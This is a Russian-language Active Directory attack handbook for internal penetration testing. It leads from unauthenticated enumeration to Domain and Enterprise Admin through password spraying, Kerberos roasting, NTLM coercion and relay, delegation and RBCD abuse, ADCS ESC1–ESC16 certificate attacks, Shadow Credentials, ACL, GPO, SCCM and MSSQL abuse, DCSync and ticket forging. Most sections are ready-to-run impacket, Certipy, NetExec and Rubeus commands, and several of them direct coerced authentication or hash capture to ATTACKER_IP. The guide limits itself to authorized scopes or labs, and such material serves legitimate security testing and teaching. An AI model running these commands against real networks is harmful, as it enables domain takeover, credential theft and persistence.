Углублённый справочник по атакам на Active Directory: полный путь от неаутентифицированного доступа до Domain Admin и Enterprise Admin, плюс современные векторы 2025–2026 — ADCS (ESC1–ESC16), делегирование, Shadow Credentials, RBCD, GPO/SCCM abuse, MSSQL lateral movement. Каждая техника: суть, предусловие, инструмент, команда, что увидит защита. Только авторизованный scope или своя лаба (GOAD).
Active Directory — сердце большинства корпоративных сетей, и именно AD-раздел определяет уровень внутреннего пентеста. Базовая цепочка (рекон → roasting → relay → DCSync) разобрана в основном справочнике (Codex). Здесь — глубина: современные identity-векторы, на которых строятся реальные внутренние тесты 2025–2026.
Типовой путь компрометации. Не линеен — это граф, и BloodHound показывает кратчайшее ребро к цели.
# Высокоуровневый поток unauth → энумерация, null/guest, anonymous LDAP, поиск имён foothold → первая учётка (spray / roast / relay / утечка) recon → BloodHound: где у меня права, куда ведут рёбра escalate → ADCS ESC / delegation / Shadow Creds / ACL abuse lateral → PtH / PtT / WinRM / WMI / MSSQL / SCCM domain → DCSync → krbtgt (Golden) / certs / trusts (Enterprise)
| Термин | Что это |
|---|---|
| SID / RID | Идентификатор субъекта; RID 500 = встроенный администратор |
| TGT / TGS | Билеты Kerberos: ticket-granting ticket / service ticket |
| SPN | Service Principal Name — привязка сервиса к аккаунту (цель Kerberoast) |
| NTLM-хэш | Хэш пароля; достаточен для аутентификации (Pass-the-Hash) |
| DACL / ACE | Права доступа к объектам AD — основа ACL-атак (GenericAll, WriteDACL и др.) |
| DC / krbtgt | Контроллер домена; krbtgt — аккаунт, чей хэш подписывает все TGT (Golden Ticket) |
| ADCS / CA | Служба сертификатов; сертификат может заменять пароль для аутентификации |
| Инструмент | Роль |
|---|---|
| NetExec (nxc) | Сетевой швейцарский нож: SMB/LDAP/WinRM/MSSQL, spray, дамп, исполнение |
| BloodHound CE | Граф путей атаки; коллекторы SharpHound / bloodhound-python |
| Impacket | Набор Python-скриптов под протоколы Windows/AD |
| Certipy | Энумерация и эксплуатация ADCS (ESC1–ESC16), v5 |
| Rubeus | Операции с Kerberos на хосте (roast, S4U, PtT) |
| Coercer / PetitPotam | Принуждение аутентификации (coercion) для relay |
| bloodyAD / PowerView | Чтение/правка объектов и ACL домена |
Цель — собрать максимум об объектах, правах и связях. Лучшая инвестиция времени: чем полнее граф, тем короче путь к DA.
# Имя домена, ОС, SMB-signing, наличие SMBv1 nxc smb 10.10.10.10 # null-сессия: пользователи и политика паролей (нужно перед любым brute) nxc smb 10.10.10.10 -u '' -p '' --users --pass-pol nxc smb 10.10.10.10 -u guest -p '' --rid-brute # перечисление по RID-циклу # Anonymous LDAP (если разрешён) -> объекты домена nxc ldap 10.10.10.10 -u '' -p '' --query "(objectClass=user)" "" # Имена пользователей по Kerberos (без пароля) -> для spray/roast kerbrute userenum -d target.local --dc 10.10.10.10 users.txt
--rid-brute / kerbrute — приоритет на unauth-этапе.Собирает объекты AD (пользователи, группы, компьютеры, ACL, сессии, доверия) и строит граф, где видны кратчайшие пути к Domain Admins. Превращает тысячи ACE в наглядную карту: «откуда я владею» → «куда это ведёт».
# Сбор удалённо (Python-коллектор), все методы bloodhound-python -u user -p 'Passw0rd' -d target.local -ns 10.10.10.10 -c All --zip # -c All все коллекции (вкл. ACL, сессии); -ns DNS-сервер (обычно DC) # Сбор с хоста Windows (агентный коллектор) .\SharpHound.exe -c All --zipfilename loot.zip # Импорт .zip в BloodHound CE -> готовые/кастомные Cypher-запросы
Полезные встроенные запросы BloodHound CE: Shortest Paths to Domain Admins; Kerberoastable / AS-REP Roastable Users; Find Computers with Unconstrained Delegation; Shortest Path from Owned Principals. После пометки своих объектов как Owned ищи исходящие права (outbound control).
# Где учётка валидна по парку (вход + локальный админ) nxc smb 10.10.10.0/24 -u user -p 'Passw0rd' # Группы, доступы к шарам, делегирование, описание учёток nxc ldap 10.10.10.10 -u user -p 'Passw0rd' --groups nxc ldap 10.10.10.10 -u user -p 'Passw0rd' --trusted-for-delegation nxc ldap 10.10.10.10 -u user -p 'Passw0rd' -M user-desc # пароли в description # Полный LDAP-дамп для офлайн-анализа ldapdomaindump -u 'TARGET\user' -p 'Passw0rd' 10.10.10.10
Первая валидная учётка открывает граф. Источники: spraying, утечки/описания, перехват (раздел 04), roasting (раздел 03).
В отличие от brute (много паролей на одного юзера), spraying пробует один-два пароля по всему списку — это обходит блокировку учёток, если держаться внутри порога политики. Поэтому сначала всегда --pass-pol.
# Сначала узнать порог блокировки (lockout threshold / observation window) nxc smb 10.10.10.10 -u '' -p '' --pass-pol # Спрей одним паролем по списку, останавливаться на успехе по каждому nxc smb 10.10.10.10 -u users.txt -p 'Autumn2025!' --continue-on-success # типовые кандидаты: Season+Year+!, Company123, Welcome1, пустой # Спрей по Kerberos (тише на уровне SMB-логов) kerbrute passwordspray -d target.local --dc 10.10.10.10 users.txt 'Autumn2025!'
# Пароли в поле description учёток (частая находка) nxc ldap 10.10.10.10 -u user -p 'pass' -M user-desc # GPP cpassword в SYSVOL (старый, но всё ещё встречается) -> расшифровывается nxc smb 10.10.10.10 -u user -p 'pass' -M gpp_password nxc smb 10.10.10.10 -u user -p 'pass' -M gpp_autologin # Поиск секретов в доступных шарах nxc smb 10.10.10.10 -u user -p 'pass' -M spider_plus
Две классические оффлайн-атаки на пароли через Kerberos. Обе дают хэш для брута без обращения к самой учётке.
Если у аккаунта снят флаг преаутентификации (DONT_REQUIRE_PREAUTH), KDC выдаёт зашифрованную паролем часть AS-REP любому — без знания пароля. Брутим оффлайн. Учётка для запроса не нужна (достаточно списка имён).
# Без учётки: по списку имён impacket-GetNPUsers target.local/ -usersfile users.txt -no-pass -dc-ip 10.10.10.10 # С учёткой: автоматически найти всех уязвимых impacket-GetNPUsers target.local/user:pass -request -dc-ip 10.10.10.10 # Брут (hashcat mode 18200) hashcat -m 18200 asrep.hash rockyou.txt
Любая доменная учётка может запросить TGS для сервиса с SPN. Часть TGS зашифрована паролем сервисного аккаунта — брутим оффлайн. Сервисные учётки часто имеют слабые/старые пароли и высокие права.
impacket-GetUserSPNs target.local/user:pass -dc-ip 10.10.10.10 -request # без -request -- только список SPN-аккаунтов (разведка целей) # С хоста через Rubeus .\Rubeus.exe kerberoast /outfile:tgs.txt # Брут (hashcat mode 13100) hashcat -m 13100 tgs.hash rockyou.txt -r /usr/share/hashcat/rules/best64.rule
| Атака | hashcat -m | Предусловие | Учётка нужна? |
|---|---|---|---|
| AS-REP Roast | 18200 | DONT_REQUIRE_PREAUTH у цели | нет (только имена) |
| Kerberoast | 13100 | у цели задан SPN | да (любая доменная) |
Заставить машину/DC аутентифицироваться к нам (coercion), затем переслать (relay) эту аутентификацию на сервис без защиты подписью. Один из самых мощных безпарольных путей.
Отвечает на broadcast-запросы разрешения имён, выдавая себя за искомый хост, и собирает NetNTLMv2-хэши обратившихся. Хэши брутятся (mode 5600) или релеятся.
sudo responder -I eth0 -wd # -w WPAD-rogue, -d ответы на запросы домена # перехваченные NetNTLMv2 -> hashcat -m 5600
Заставляет целевую машину (часто сам DC) подключиться к атакующему по различным RPC-методам. В связке с relay даёт компрометацию без единого пароля.
# Универсальный мультиметодный coercer coercer coerce -t DC01 -l ATTACKER_IP -u user -p pass -d target.local # Точечные классические методы PetitPotam.py -u user -p pass -d target.local ATTACKER_IP DC01 # MS-EFSRPC printerbug.py target.local/user:pass@DC01 ATTACKER_IP # MS-RPRN (spooler)
# Релей на SMB без signing -> дамп SAM / исполнение impacket-ntlmrelayx -tf targets.txt -smb2support # Релей на LDAP(S) -> правка объектов (RBCD / Shadow Creds, см. разделы 05/07) impacket-ntlmrelayx -t ldaps://DC01 --delegate-access # настроить RBCD impacket-ntlmrelayx -t ldaps://DC01 --shadow-credentials --shadow-target victim$ # Релей на ADCS Web Enrollment (ESC8) -> сертификат от имени жертвы impacket-ntlmrelayx -t http://CA01/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
Делегирование Kerberos позволяет сервису действовать от имени пользователя. Мисконфиги превращают это в путь к эскалации и к выдаче себя за привилегированные учётки.
Хост с unconstrained delegation хранит в памяти TGT каждого, кто к нему аутентифицируется. Скомпрометировав такой хост и принудив (coercion) к нему DC, можно захватить TGT DC.
# Найти хосты с unconstrained delegation nxc ldap DC01 -u user -p pass --trusted-for-delegation # На скомпрометированном хосте: слушать TGT, затем coerce DC (раздел 04) .\Rubeus.exe monitor /interval:5 /nowrap # перехват входящих TGT # полученный TGT DC -> DCSync (раздел 11)
Аккаунт с constrained delegation к сервису может через протокол S4U запросить билет к этому сервису от имени любого пользователя (включая админа), если не задан protocol transition контроль.
# Найти аккаунты с constrained delegation (msDS-AllowedToDelegateTo) findDelegation.py target.local/user:pass -dc-ip 10.10.10.10 # S4U: получить билет к целевому SPN от имени Administrator impacket-getST -spn cifs/target-host -impersonate Administrator target.local/svc:pass export KRB5CCNAME=Administrator.ccache # использовать билет impacket-wmiexec -k -no-pass target-host
Если есть право записи (GenericWrite/GenericAll) на объект компьютера, можно прописать ему msDS-AllowedToActOnBehalfOfOtherIdentity на подконтрольный аккаунт и затем через S4U выдать себя за админа на этой машине. Один из самых частых современных путей эскалации.
# 1) создать подконтрольный компьютер-аккаунт (по умолчанию MachineAccountQuota=10) impacket-addcomputer target.local/user:pass -computer-name EVIL$ -computer-pass 'P@ss123' # 2) прописать RBCD на целевой машине (нужно право записи на её объект) impacket-rbcd target.local/user:pass -delegate-from EVIL$ -delegate-to TARGET$ -action write # 3) S4U: билет к TARGET от имени Administrator impacket-getST -spn cifs/TARGET.target.local -impersonate Administrator target.local/EVIL$:'P@ss123' export KRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass TARGET.target.local
| Тип | Предусловие | Что даёт |
|---|---|---|
| Unconstrained | контроль хоста с флагом + coercion | TGT любого, кто аутентифицируется (вкл. DC) |
| Constrained | контроль аккаунта с msDS-AllowedToDelegateTo | impersonation к разрешённому SPN |
| RBCD | право записи на объект компьютера | impersonation админа на этой машине |
Active Directory Certificate Services присутствует в большинстве корпоративных доменов и почти всегда сконфигурирован с ошибками. Сертификат может заменять пароль для аутентификации, а валиден он остаётся даже после смены пароля — отсюда мощь и скрытность этих атак.
Первый шаг всегда — найти уязвимые шаблоны и настройки CA. Certipy перечисляет всё и помечает уязвимое.
certipy-ad find -u user@target.local -p pass -dc-ip 10.10.10.10 -vulnerable -stdout # -vulnerable показать только проблемные шаблоны/CA # -stdout вывод в консоль (иначе .json/.txt отчёт) # если вывод -vulnerable пуст -- редкий случай хорошо настроенного ADCS
| ESC | Суть мисконфига | Условие/инструмент |
|---|---|---|
| ESC1 | Шаблон с client-auth EKU + ENROLLEE_SUPPLIES_SUBJECT → запросить серт с произвольным SAN | enroll-право; Certipy |
| ESC2 | Шаблон с Any Purpose EKU (или без EKU) → серт на что угодно | enroll-право |
| ESC3 | Enrollment Agent EKU → запрос серта от имени другого | двухэтапно |
| ESC4 | Слабые ACL на шаблоне → дописать себе ESC1-условия | WriteDACL/WriteOwner на шаблон |
| ESC5 | Слабые ACL на объектах PKI/CA в AD | контроль объектов CA |
| ESC6 | Флаг EDITF_ATTRIBUTESUBJECTALTNAME2 на CA → SAN на любом шаблоне | настройка CA |
| ESC7 | Права управления CA (ManageCA/ManageCertificates) | контроль CA |
| ESC8 | NTLM relay на Web Enrollment (HTTP) endpoint CA | coercion + ntlmrelayx |
| ESC9 | Отсутствие szOID security extension → подмена через UPN/маппинг | GenericWrite на жертву |
| ESC10 | Слабый registry-маппинг сертификатов на DC | GenericWrite + условия |
| ESC11 | NTLM relay на ICertPassage (RPC) endpoint CA | relay по RPC |
| ESC12 | Доступ к закрытому ключу CA на YubiHSM (shell на CA) | shell на CA-сервере |
| ESC13 | Шаблон со связанным issuance policy → членство в привилег. группе | enroll + policy-OID |
| ESC14 | Слабый explicit certificate mapping (altSecurityIdentities) | write на маппинг-атрибут |
| ESC15 | EKUwu: application policies в v1-шаблоне + SUPPLIES_SUBJECT | enroll; Certipy |
| ESC16 | Security extension отключён глобально на CA → массовый маппинг | настройка CA |
Самый частый и прямой путь: уязвимый шаблон разрешает запросившему задать произвольный SAN. Запрашиваем сертификат «от имени» администратора домена и аутентифицируемся им.
# 1) запросить серт с SAN = доменный админ certipy-ad req -u user@target.local -p pass -dc-ip 10.10.10.10 \ -ca TARGET-CA -template VulnTemplate -upn administrator@target.local # результат: administrator.pfx # 2) аутентифицироваться сертификатом -> получить TGT и NT-хэш certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.10.10 # вернёт TGT + NT hash администратора -> DCSync / PtH
Если у CA включён HTTP Web Enrollment без защиты (EPA), принуждаем DC аутентифицироваться и релеим на endpoint CA, получая сертификат компьютера DC — затем компрометируем домен.
# 1) релей на ADCS, шаблон DomainController impacket-ntlmrelayx -t http://CA01/certsrv/certfnsh.asp -smb2support --adcs --template DomainController # 2) принудить DC аутентифицироваться к нам (раздел 04) coercer coerce -t DC01 -l ATTACKER_IP -u user -p pass -d target.local # 3) полученным сертом DC -> аутентификация -> DCSync certipy-ad auth -pfx dc01.pfx -dc-ip 10.10.10.10
# Серт валиден до истечения даже после смены пароля -> скрытная персистентность # Кража закрытого ключа CA (при доступе к CA) -> Golden Certificate (форж любых сертов) certipy-ad ca -backup -u admin@target.local -p pass -ca TARGET-CA certipy-ad forge -ca-pfx CA.pfx -upn administrator@target.local
certutil -v -template), отзыв/переиздание, EPA на Web Enrollment, включение строгого маппинга (Full Enforcement), аудит выдачи сертов.Если есть право записи на атрибут msDS-KeyCredentialLink целевого объекта (GenericWrite/GenericAll), можно добавить свою пару ключей и аутентифицироваться как этот объект через PKINIT — без смены пароля и без сертификата CA.
# Добавить Key Credential к цели и сразу получить TGT + NT-хэш certipy-ad shadow auto -u user@target.local -p pass -account victim$ -dc-ip 10.10.10.10 # shadow auto: добавляет ключ, аутентифицируется, выводит NT hash, чистит за собой # Вручную через pyWhisker (Linux) pywhisker.py -d target.local -u user -p pass --target victim$ --action add # затем PKINIT-аутентификация полученным .pfx (gettgtpkinit / certipy auth)
Большая часть «неочевидных» путей к DA — это цепочки прав на объекты. BloodHound подсвечивает рёбра (ACE); ниже — как каждое ребро конвертируется в действие.
| Право (ACE) | На объекте | Что даёт |
|---|---|---|
| GenericAll | пользователь | смена пароля / targeted Kerberoast / Shadow Cred |
| GenericAll | компьютер | RBCD / Shadow Cred |
| GenericAll/Write | группа | добавить себя в группу |
| WriteDACL | любой | дописать себе любые права (напр. DCSync на домен) |
| WriteOwner | любой | стать владельцем → выставить DACL |
| ForceChangePassword | пользователь | сменить пароль цели |
| AddMember | группа | добавить субъекта в группу |
# Добавить себя в привилегированную группу (право на группе) bloodyAD -u user -p pass -d target.local --host DC01 add groupMember "Domain Admins" user # Сменить пароль цели (GenericAll / ForceChangePassword) bloodyAD -u user -p pass -d target.local --host DC01 set password victim 'NewP@ss1' # Дописать себе право DCSync на домен (WriteDACL на корень домена) bloodyAD -u user -p pass -d target.local --host DC01 add dcsync user # Targeted Kerberoast (GenericAll на юзера): задать SPN -> roast -> убрать SPN targetedKerberoast.py -u user -p pass -d target.local
Системы управления — мощный множитель: контроль над GPO или SCCM/MECM даёт исполнение на множестве хостов сразу.
Право редактировать GPO, привязанную к OU с целевыми машинами/пользователями, позволяет добавить иммедиатную задачу/скрипт, исполняемый на всех объектах в зоне действия политики.
# Найти GPO, на которые у нас есть права записи (через BloodHound: GPO control edges) # Эксплуатация: добавить immediate scheduled task через политику pygpoabuse.py target.local/user:pass -gpo-id <GPO-GUID> -command 'add user / run payload' # затем gpupdate на цели применит задачу (или ждём цикла обновления политики)
SCCM управляет установкой ПО на парк. Частые векторы: извлечение Network Access Account (NAA) кред из политики клиента, релей на SCCM-роли, развёртывание приложения на коллекцию хостов.
# Профилирование и поиск SCCM в среде sccmhunter.py find -u user -p pass -d target.local -dc-ip 10.10.10.10 # Извлечь NAA-креды (часто дают доступ к ресурсам) sccmhunter.py http -u user -p pass -d target.local ... # см. режимы инструмента # дальнейшие векторы: relay на MP/SMS, deploy application на коллекцию
MSSQL-серверы интегрированы с AD и часто становятся мостом: исполнение команд (xp_cmdshell), захват NetNTLM, и перемещение между серверами через доверенные связи (linked servers).
# Найти MSSQL и проверить доступ доменной учёткой (Windows-auth) nxc mssql 10.10.10.20 -u user -p pass --local-auth nxc mssql 10.10.10.20 -u user -p pass -q "SELECT @@version" # Интерактивный клиент (Windows-аутентификация) impacket-mssqlclient target.local/user:pass@10.10.10.20 -windows-auth # Исполнение команд через xp_cmdshell (если включён / можно включить) SQL> enable_xp_cmdshell SQL> xp_cmdshell whoami # Захват NetNTLM-хэша сервиса -> relay/брут SQL> xp_dirtree \\ATTACKER_IP\share
SQL> enum_links # перечислить связанные серверы SQL> use_link [LINKED-SQL] # выполнить контекст на связанном # цепочка связей может вести к серверу с более высокими правами / sysadmin
Финальная стадия: извлечение всех секретов домена, персистентность и переход через доверия к другим доменам/лесу.
С правами репликации (DS-Replication-Get-Changes) можно запросить у DC хэши любых учёток, включая krbtgt — без захода на сам DC.
impacket-secretsdump target.local/admin:pass@DC01 -just-dc # все доменные хэши impacket-secretsdump target.local/admin:pass@DC01 -just-dc-user krbtgt # только krbtgt
| Билет | Из чего куётся | Что даёт |
|---|---|---|
| Golden | хэш krbtgt | TGT на любого, в т.ч. несуществующего; доступ ко всему домену |
| Silver | хэш сервисного аккаунта/компьютера | TGS к конкретному сервису (тише, без DC) |
| Diamond | модификация легитимного TGT (krbtgt) | как Golden, но скрытнее для детекта |
| Golden Certificate | закрытый ключ CA | форж любых auth-сертов (ADCS-персистентность) |
# Golden Ticket (на лабе / в согласованном scope) impacket-ticketer -nthash <krbtgt-hash> -domain-sid <SID> -domain target.local Administrator
nxc ldap DC01 -u user -p pass -M enum_trusts # перечислить доверия # child -> parent эскалация через SID History (трюк с Golden + extra SID) impacket-raiseChild child.target.local/admin:pass # авто child->forest root